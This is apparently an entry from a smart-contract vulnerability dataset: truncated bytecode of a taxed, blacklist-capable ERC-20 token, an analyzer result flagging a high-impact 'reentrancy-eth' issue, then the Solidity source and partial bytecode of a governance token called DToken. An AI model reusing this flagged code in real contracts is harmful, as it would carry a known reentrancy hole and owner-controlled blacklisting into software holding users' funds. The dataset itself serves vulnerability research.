0a01b0319166001600160a01b038316908117909155610f4e903090683635c9adc5dea0000061167f565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610f8757600080fd5b505afa158015610f9b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fbf9190612557565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561100757600080fd5b505afa15801561101b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061103f9190612557565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561108757600080fd5b505af115801561109b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110bf9190612557565b601780546001600160a01b0319166001600160a01b03929092169182179055610a5a906001610d10565b6000546001600160a01b031633146111135760405162461bcd60e51b8152600401610766906127da565b6001600160a01b03166000908152600b60205260409020805460ff19169055565b6001600160a01b0381166000908152600260205260408120546109f590611d1e565b6000546001600160a01b031633146111805760405162461bcd60e51b8152600401610766906127da565b6014546001600160a01b03166111d85760405162461bcd60e51b815260206004820152601760248201527f5f6e6663416464726573732063616e6e6f7420626520300000000000000000006044820152606401610766565b6001600160a01b039081166000908152600560209081526040808320805460ff199081169091556014805486168086529483902080549092166001179091555490519316835290917fff253f8161a8bf4e705ff57ab65f6d0e47d025c620869a6316edc40a74b5c7199101610ccc565b6000546001600160a01b031633146112725760405162461bcd60e51b8152600401610766906127da565b601a55565b6000546001600160a01b031633146112a15760405162461bcd60e51b8152600401610766906127da565b600c849055600d829055600e839055600f81905560196112c183866128d4565b111561130f5760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206275792074617865732062656c6f77203235250000006044820152606401610766565b6019600f54600e5461132191906128d4565b111561136f5760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206275792074617865732062656c6f77203235250000006044820152606401610766565b50505050565b60006109f13384846117a3565b6000546001600160a01b031633146113ac5760405162461bcd60e51b8152600401610766906127da565b6015546001600160a01b03166114045760405162461bcd60e51b815260206004820152601860248201527f5f6d6b7467416464726573732063616e6e6f74206265203000000000000000006044820152606401610766565b6001600160a01b039081166000908152600560209081526040808320805460ff199081169091556015805486168086529483902080549092166001179091555490519316835290917f4aeacdf11926d26257f8e9ea6e9091947978ac978705e15835bf04f21f4fa69b9101610ccc565b6000546001600160a01b0316331461149e5760405162461bcd60e51b8152600401610766906127da565b601955565b6000546001600160a01b031633146114cd5760405162461bcd60e51b8152600401610766906127da565b6001600160a01b038116600081815260056020908152604091829020805460ff1916905590519182527f4f6a6b6efe34ec6478021aa9fb7f6980e78ea3a10c74074a8ce49d5d3ebf1f7e9101610ccc565b6000546001600160a01b031633146115485760405162461bcd60e51b8152600401610766906127da565b601855565b6000546001600160a01b031633146115775760405162461bcd60e51b8152600401610766906127da565b6001600160a01b0381166115dc5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610766565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6014546001600160a01b0316336001600160a01b0316148061166c57506015546001600160a01b0316336001600160a01b0316145b61167557600080fd5b47610d0d81611f86565b6001600160a01b0383166116e15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610766565b6001600160a01b0382166117425760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610766565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166118075760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610766565b6001600160a01b0382166118695760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610766565b600081116118cb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610766565b6000546001600160a01b038481169116148015906118f757506000546001600160a01b03838116911614155b15611b4c57601754600160b01b900460ff16611abf576017546001600160a01b0383811691161480159061193957506016546001600160a01b03838116911614155b801561195e57506001600160a01b03821660009081526005602052604090205460ff16155b15611abf576019548161197084611134565b61197a91906128d4565b106119d35760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610766565b601854811115611a255760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610766565b6001600160a01b0383166000908152600b602052604090205460ff16158015611a6757506001600160a01b0382166000908152600b602052604090205460ff16155b611abf5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610766565b6000611aca30611134565b601a54601854919250821015908210611ae35760185491505b808015611afa5750601754600160a01b900460ff16155b8015611b1457506017546001600160a01b03868116911614155b8015611b295750601754600160a81b900460ff165b15611b4957611b3782611da2565b478015611b4757611b4747611f86565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff1680611b8e57506001600160a01b03831660009081526005602052604090205460ff165b80611bc057506017546001600160a01b03858116911614801590611bc057506017546001600160a01b03848116911614155b15611bcd57506000611cd8565b6017546001600160a01b038581169116148015611bf857506016546001600160a01b03848116911614155b15611c0a57600c54601055600d546011555b6001600160a01b03841660009081526005602052604090205460ff16611c9b57601854821115611c9b5760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b6064820152608401610766565b6017546001600160a01b038481169116148015611cc657506016546001600160a01b03858116911614155b15611cd857600e54601055600f546011555b61136f8484848461200b565b60008184841115611d085760405162461bcd60e51b81526004016107669190612787565b506000611d15848661292b565b95945050505050565b6000600954821115611d855760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610766565b6000611d8f612039565b9050611d9b838261205c565b9392505050565b6017805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611df857634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015611e4c57600080fd5b505afa158015611e60573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e849190612557565b81600181518110611ea557634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152601654611ecb913091168461167f565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac94790611f0490859060009086903090429060040161280f565b600060405180830381600087803b158015611f1e57600080fd5b505af1158015611f32573d6000803e3d6000fd5b50506017805460ff60a01b1916905550505050565b6000546001600160a01b03163314611f715760405162461bcd60e51b8152600401610766906127da565b6017805460ff60b01b1916600160b01b179055565b6014546001600160a01b03166108fc611fa083600261205c565b6040518115909202916000818181858888f19350505050158015611fc8573d6000803e3d6000fd5b506015546001600160a01b03166108fc611fe383600261205c565b6040518115909202916000818181858888f193505050501580156107e5573d6000803e3d6000fd5b806120185761201861209e565b6120238484846120cc565b8061136f5761136f601254601055601354601155565b60008060006120466121c3565b9092509050612055828261205c565b9250505090565b6000611d9b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612205565b6010541580156120ae5750601154155b156120b557565b601080546012556011805460135560009182905555565b6000806000806000806120de87612233565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506121109087612290565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461213f90866122d2565b6001600160a01b03891660009081526002602052604090205561216181612331565b61216b848361237b565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516121b091815260200190565b60405180910390a3505050505050505050565b6009546000908190683635c9adc5dea000006121df828261205c565b8210156121fc57505060095492683635c9adc5dea0000092509050565b90939092509050565b600081836122265760405162461bcd60e51b81526004016107669190612787565b506000611d1584866128ec565b60008060008060008060008060006122508a60105460115461239f565b9250925092506000612260612039565b905060008060006122738e8787876123f4565b919e509c509a509598509396509194505050505091939550919395565b6000611d9b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ce4565b6000806122df83856128d4565b905083811015611d9b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610766565b600061233b612039565b905060006123498383612444565b3060009081526002602052604090205490915061236690826122d2565b30600090815260026020526040902055505050565b6009546123889083612290565b600955600a5461239890826122d2565b600a555050565b60008080806123b960646123b38989612444565b9061205c565b905060006123cc60646123b38a89612444565b905060006123e4826123de8b86612290565b90612290565b9992985090965090945050505050565b60008080806124038886612444565b905060006124118887612444565b9050600061241f8888612444565b90506000612431826123de8686612290565b939b939a50919850919650505050505050565b600082612453575060006109f5565b600061245f838561290c565b90508261246c85836128ec565b14611d9b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610766565b600082601f8301126124d3578081fd5b813560206124e86124e3836128b0565b61287f565b80838252828201915082860187848660051b8901011115612507578586fd5b855b8581101561252e57813561251c81612989565b84529284019290840190600101612509565b5090979650505050505050565b60006020828403121561254c578081fd5b8135611d9b81612989565b600060208284031215612568578081fd5b8151611d9b81612989565b60008060408385031215612585578081fd5b823561259081612989565b915060208301356125a081612989565b809150509250929050565b6000806000606084860312156125bf578081fd5b83356125ca81612989565b925060208401356125da81612989565b929592945050506040919091013590565b600080604083850312156125fd578182fd5b823561260881612989565b9150602083013580151581146125a0578182fd5b6000806040838503121561262e578182fd5b823561263981612989565b946020939093013593505050565b600060208284031215612658578081fd5b813567ffffffffffffffff81111561266e578182fd5b61267a848285016124c3565b949350505050565b60008060408385031215612694578182fd5b823567ffffffffffffffff808211156126ab578384fd5b6126b7868387016124c3565b93506020915081850135818111156126cd578384fd5b85019050601f810186136126df578283fd5b80356126ed6124e3826128b0565b80828252848201915084840189868560051b870101111561270c578687fd5b8694505b8385101561272e578035835260019490940193918501918501612710565b5080955050505050509250929050565b60006020828403121561274f578081fd5b5035919050565b6000806000806080858703121561276b578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b818110156127b357858101830151858201604001528201612797565b818111156127c45783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b8181101561285e5784516001600160a01b031683529383019391830191600101612839565b50506001600160a01b03969096166060850152505050608001529392505050565b604051601f8201601f1916810167ffffffffffffffff811182821017156128a8576128a8612973565b604052919050565b600067ffffffffffffffff8211156128ca576128ca612973565b5060051b60200190565b600082198211156128e7576128e761295d565b500190565b60008261290757634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156129265761292661295d565b500290565b60008282101561293d5761293d61295d565b500390565b60006000198214156129565761295661295d565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114610d0d57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220649e6f6a3fe2d2618eb85b7b6237edf891e0fad1148dea76075a52379ae3d89d64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
7,635
0xD7ff7290C83a4B82AcCDf68247e47cF8a1589e51
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; // Part: OpenZeppelin/openzeppelin-contracts@3.1.0/IERC20 /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: DToken.sol contract DToken { /// @dev EIP-20 token name for this token string public name; /// @dev EIP-20 token symbol for this token string public symbol; /// @dev EIP-20 token decimals for this token uint8 public decimals; /// @dev Total number of tokens in circulation uint256 public totalSupply; /// @dev Allowance amounts on behalf of others mapping (address => mapping (address => uint256)) internal allowances; /// @dev Official record of token balances for each account mapping (address => uint256) internal balances; address public governance; address public pendingGovernance; address public convController; address public vault; /// @dev A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint256 votes; } /// @dev A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @dev The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @dev An event thats emitted when a delegate account's vote balance changes event AccountVotesChanged(address indexed account, uint256 previousBalance, uint256 newBalance); /// @dev The standard EIP-20 transfer event event Transfer(address indexed from, address indexed to, uint256 amount); /// @dev The standard EIP-20 approval event event Approval(address indexed owner, address indexed spender, uint256 amount); event Mint(address indexed account, uint256 amount); event Burn(address indexed account, uint256 amount); function initialize(address _governance, uint8 _decimals, bytes calldata _name, bytes calldata _symbol) external { require(governance == address(0), 'initialize: can only initialize once'); require(_governance != address(0), 'initialize: invalid governance address'); governance = _governance; convController = msg.sender; name = string(_name); symbol = string(_symbol); decimals = _decimals; } function allowance(address account, address spender) external view returns (uint256) { return allowances[account][spender]; } function approve(address spender, uint256 amount) external returns (bool) { allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function balanceOf(address account) external view returns (uint256) { return balances[account]; } function transfer(address dst, uint256 amount) external returns (bool) { _transferTokens(msg.sender, dst, amount); return true; } function transferFrom(address src, address dst, uint256 amount) external returns (bool) { address spender = msg.sender; uint256 spenderAllowance = allowances[src][spender]; if (spender != src && spenderAllowance != uint256(-1)) { uint256 newAllowance = sub256(spenderAllowance, amount, "transferFrom: transfer amount exceeds spender allowance"); allowances[src][spender] = newAllowance; emit Approval(src, spender, newAllowance); } _transferTokens(src, dst, amount); return true; } /** * @dev Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint256) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @dev Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint256 blockNumber) public view returns (uint256) { require(blockNumber < block.number, "getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _transferTokens(address src, address dst, uint256 amount) internal { require(src != address(0), "_transferTokens: cannot transfer from the zero address"); require(dst != address(0), "_transferTokens: cannot transfer to the zero address"); balances[src] = sub256(balances[src], amount, "_transferTokens: transfer amount exceeds balance"); balances[dst] = add256(balances[dst], amount, "_transferTokens: transfer amount overflows"); emit Transfer(src, dst, amount); _moveVotes(src); _moveVotes(dst); } function _moveVotes(address account) internal { uint32 repNum = numCheckpoints[account]; uint256 oldBalance = repNum > 0 ? checkpoints[account][repNum - 1].votes : 0; _writeCheckpoint(account, repNum, oldBalance, balances[account]); } function _writeCheckpoint(address account, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes) internal { uint32 blockNumber = safe32(block.number, "_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[account][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[account][nCheckpoints - 1].votes = newVotes; } else { checkpoints[account][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[account] = nCheckpoints + 1; } emit AccountVotesChanged(account, oldVotes, newVotes); } function acceptGovernance() external { require(msg.sender == pendingGovernance, "!pendingGovernance"); governance = msg.sender; pendingGovernance = address(0); } function setPendingGovernance(address _pendingGovernance) external { require(msg.sender == governance, "!governance"); pendingGovernance = _pendingGovernance; } function setConvController(address _convController) external { require(msg.sender == governance, "!governance"); convController = _convController; } function setVault(address _vault) external { require(msg.sender == governance, "!governance"); vault = _vault; } function mint(address account, uint256 amount) external { require(msg.sender == convController || msg.sender == vault, "NOT OPERATOR"); _mint(account,amount); emit Mint(account, amount); } function burn(address account, uint256 amount) external { require(msg.sender == convController || msg.sender == vault, "NOT OPERATOR"); _burn(account,amount); emit Burn(account, amount); } function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); totalSupply = add256(totalSupply, amount, "ERC20: mint amount overflows"); balances[account] = add256(balances[account], amount, "ERC20: mint amount overflows"); emit Transfer(address(0), account, amount); _moveVotes(account); } function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); balances[account] = sub256(balances[account], amount, "ERC20: burn amount exceeds balance"); totalSupply = sub256(totalSupply, amount, "ERC20: burn amount exceeds balance"); emit Transfer(account, address(0), amount); _moveVotes(account); } function safe32(uint256 n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function add256(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, errorMessage); return c; } function sub256(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } function sweep(address _token) external { require(msg.sender == governance, "!governance"); uint256 _balance = IERC20(_token).balanceOf(address(this)); IERC20(_token).transfer(governance, _balance); } }
0x608060405234801561001057600080fd5b50600436106101735760003560e01c80635ba28624116100de5780639dc29fac11610097578063dd62ed3e11610071578063dd62ed3e1461058e578063f1127ed8146105bc578063f39c38a01461060e578063fbfa77cf1461061657610173565b80639dc29fac14610510578063a9059cbb1461053c578063b4b5ea571461056857610173565b80635ba286241461042b5780636817031b146104515780636fcfff451461047757806370a08231146104b6578063782d6fe1146104dc57806395d89b411461050857610173565b806320ba92f81161013057806320ba92f814610377578063238efcbc1461039b57806323b872dd146103a3578063313ce567146103d957806340c10f19146103f75780635aa6e6751461042357610173565b806301681a6214610178578063020181d7146101a057806306fdde031461027a578063095ea7b3146102f75780630abb60351461033757806318160ddd1461035d575b600080fd5b61019e6004803603602081101561018e57600080fd5b50356001600160a01b031661061e565b005b61019e600480360360808110156101b657600080fd5b6001600160a01b038235169160ff602082013516918101906060810160408201356401000000008111156101e957600080fd5b8201836020820111156101fb57600080fd5b8035906020019184600183028401116401000000008311171561021d57600080fd5b91939092909160208101903564010000000081111561023b57600080fd5b82018360208201111561024d57600080fd5b8035906020019184600183028401116401000000008311171561026f57600080fd5b50909250905061076f565b61028261085b565b6040805160208082528351818301528351919283929083019185019080838360005b838110156102bc5781810151838201526020016102a4565b50505050905090810190601f1680156102e95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103236004803603604081101561030d57600080fd5b506001600160a01b0381351690602001356108e9565b604080519115158252519081900360200190f35b61019e6004803603602081101561034d57600080fd5b50356001600160a01b0316610950565b6103656109bf565b60408051918252519081900360200190f35b61037f6109c5565b604080516001600160a01b039092168252519081900360200190f35b61019e6109d4565b610323600480360360608110156103b957600080fd5b506001600160a01b03813581169160208101359091169060400135610a48565b6103e1610b28565b6040805160ff9092168252519081900360200190f35b61019e6004803603604081101561040d57600080fd5b506001600160a01b038135169060200135610b31565b61037f610be1565b61019e6004803603602081101561044157600080fd5b50356001600160a01b0316610bf0565b61019e6004803603602081101561046757600080fd5b50356001600160a01b0316610c5f565b61049d6004803603602081101561048d57600080fd5b50356001600160a01b0316610cce565b6040805163ffffffff9092168252519081900360200190f35b610365600480360360208110156104cc57600080fd5b50356001600160a01b0316610ce6565b610365600480360360408110156104f257600080fd5b506001600160a01b038135169060200135610d01565b610282610f09565b61019e6004803603604081101561052657600080fd5b506001600160a01b038135169060200135610f63565b6103236004803603604081101561055257600080fd5b506001600160a01b038135169060200135611013565b6103656004803603602081101561057e57600080fd5b50356001600160a01b0316611029565b610365600480360360408110156105a457600080fd5b506001600160a01b038135811691602001351661108d565b6105ee600480360360408110156105d257600080fd5b5080356001600160a01b0316906020013563ffffffff166110b8565b6040805163ffffffff909316835260208301919091528051918290030190f35b61037f6110e5565b61037f6110f4565b6006546001600160a01b0316331461066b576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6000816001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b1580156106ba57600080fd5b505afa1580156106ce573d6000803e3d6000fd5b505050506040513d60208110156106e457600080fd5b50516006546040805163a9059cbb60e01b81526001600160a01b0392831660048201526024810184905290519293509084169163a9059cbb916044808201926020929091908290030181600087803b15801561073f57600080fd5b505af1158015610753573d6000803e3d6000fd5b505050506040513d602081101561076957600080fd5b50505050565b6006546001600160a01b0316156107b75760405162461bcd60e51b8152600401808060200182810382526024815260200180611ac36024913960400191505060405180910390fd5b6001600160a01b0386166107fc5760405162461bcd60e51b81526004018080602001828103825260268152602001806119b46026913960400191505060405180910390fd5b600680546001600160a01b0388166001600160a01b031991821617909155600880549091163317905561083160008585611865565b5061083e60018383611865565b50506002805460ff191660ff959095169490941790935550505050565b6000805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156108e15780601f106108b6576101008083540402835291602001916108e1565b820191906000526020600020905b8154815290600101906020018083116108c457829003601f168201915b505050505081565b3360008181526004602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b6006546001600160a01b0316331461099d576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600780546001600160a01b0319166001600160a01b0392909216919091179055565b60035481565b6008546001600160a01b031681565b6007546001600160a01b03163314610a28576040805162461bcd60e51b81526020600482015260126024820152712170656e64696e67476f7665726e616e636560701b604482015290519081900360640190fd5b600680546001600160a01b03199081163317909155600780549091169055565b6001600160a01b038316600081815260046020908152604080832033808552925282205491929091908214801590610a8257506000198114155b15610b11576000610aac828660405180606001604052806037815260200161197d60379139611103565b6001600160a01b0380891660008181526004602090815260408083209489168084529482529182902085905581518581529151949550929391927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92592918290030190a3505b610b1c86868661119a565b50600195945050505050565b60025460ff1681565b6008546001600160a01b0316331480610b5457506009546001600160a01b031633145b610b94576040805162461bcd60e51b815260206004820152600c60248201526b2727aa1027a822a920aa27a960a11b604482015290519081900360640190fd5b610b9e8282611327565b6040805182815290516001600160a01b038416917f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885919081900360200190a25050565b6006546001600160a01b031681565b6006546001600160a01b03163314610c3d576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600880546001600160a01b0319166001600160a01b0392909216919091179055565b6006546001600160a01b03163314610cac576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600980546001600160a01b0319166001600160a01b0392909216919091179055565b600b6020526000908152604090205463ffffffff1681565b6001600160a01b031660009081526005602052604090205490565b6000438210610d415760405162461bcd60e51b81526004018080602001828103825260218152602001806119106021913960400191505060405180910390fd5b6001600160a01b0383166000908152600b602052604090205463ffffffff1680610d6f57600091505061094a565b6001600160a01b0384166000908152600a6020908152604080832063ffffffff600019860181168552925290912054168310610dde576001600160a01b0384166000908152600a602090815260408083206000199490940163ffffffff1683529290522060010154905061094a565b6001600160a01b0384166000908152600a6020908152604080832083805290915290205463ffffffff16831015610e1957600091505061094a565b600060001982015b8163ffffffff168163ffffffff161115610ed257600282820363ffffffff16048103610e4b6118e3565b506001600160a01b0387166000908152600a6020908152604080832063ffffffff808616855290835292819020815180830190925280549093168082526001909301549181019190915290871415610ead5760200151945061094a9350505050565b805163ffffffff16871115610ec457819350610ecb565b6001820392505b5050610e21565b506001600160a01b0385166000908152600a6020908152604080832063ffffffff9094168352929052206001015491505092915050565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156108e15780601f106108b6576101008083540402835291602001916108e1565b6008546001600160a01b0316331480610f8657506009546001600160a01b031633145b610fc6576040805162461bcd60e51b815260206004820152600c60248201526b2727aa1027a822a920aa27a960a11b604482015290519081900360640190fd5b610fd08282611490565b6040805182815290516001600160a01b038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a25050565b600061102033848461119a565b50600192915050565b6001600160a01b0381166000908152600b602052604081205463ffffffff1680611054576000611086565b6001600160a01b0383166000908152600a6020908152604080832063ffffffff60001986011684529091529020600101545b9392505050565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b600a6020908152600092835260408084209091529082529020805460019091015463ffffffff9091169082565b6007546001600160a01b031681565b6009546001600160a01b031681565b600081848411156111925760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561115757818101518382015260200161113f565b50505050905090810190601f1680156111845780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b0383166111df5760405162461bcd60e51b81526004018080602001828103825260368152602001806119da6036913960400191505060405180910390fd5b6001600160a01b0382166112245760405162461bcd60e51b8152600401808060200182810382526034815260200180611a406034913960400191505060405180910390fd5b61126c60056000856001600160a01b03166001600160a01b031681526020019081526020016000205482604051806060016040528060308152602001611a1060309139611103565b6001600160a01b03808516600090815260056020908152604080832094909455918516815282902054825160608101909352602a8084526112b993919285929190611931908301396115b8565b6001600160a01b0380841660008181526005602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a361131983611616565b61132282611616565b505050565b6001600160a01b038216611382576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b6113c4600354826040518060400160405280601c81526020017f45524332303a206d696e7420616d6f756e74206f766572666c6f7773000000008152506115b8565b60038190555061142f60056000846001600160a01b03166001600160a01b0316815260200190815260200160002054826040518060400160405280601c81526020017f45524332303a206d696e7420616d6f756e74206f766572666c6f7773000000008152506115b8565b6001600160a01b03831660008181526005602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a361148c82611616565b5050565b6001600160a01b0382166114d55760405162461bcd60e51b8152600401808060200182810382526021815260200180611aa26021913960400191505060405180910390fd5b61151d60056000846001600160a01b03166001600160a01b03168152602001908152602001600020548260405180606001604052806022815260200161195b60229139611103565b60056000846001600160a01b03166001600160a01b031681526020019081526020016000208190555061156b6003548260405180606001604052806022815260200161195b60229139611103565b6003556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a361148c82611616565b6000838301828582101561160d5760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561115757818101518382015260200161113f565b50949350505050565b6001600160a01b0381166000908152600b602052604081205463ffffffff169081611642576000611674565b6001600160a01b0383166000908152600a6020908152604080832063ffffffff60001987011684529091529020600101545b905061132283838360056000886001600160a01b03166001600160a01b031681526020019081526020016000205460006116c6436040518060600160405280602e8152602001611a74602e9139611807565b905060008463ffffffff1611801561170f5750600160016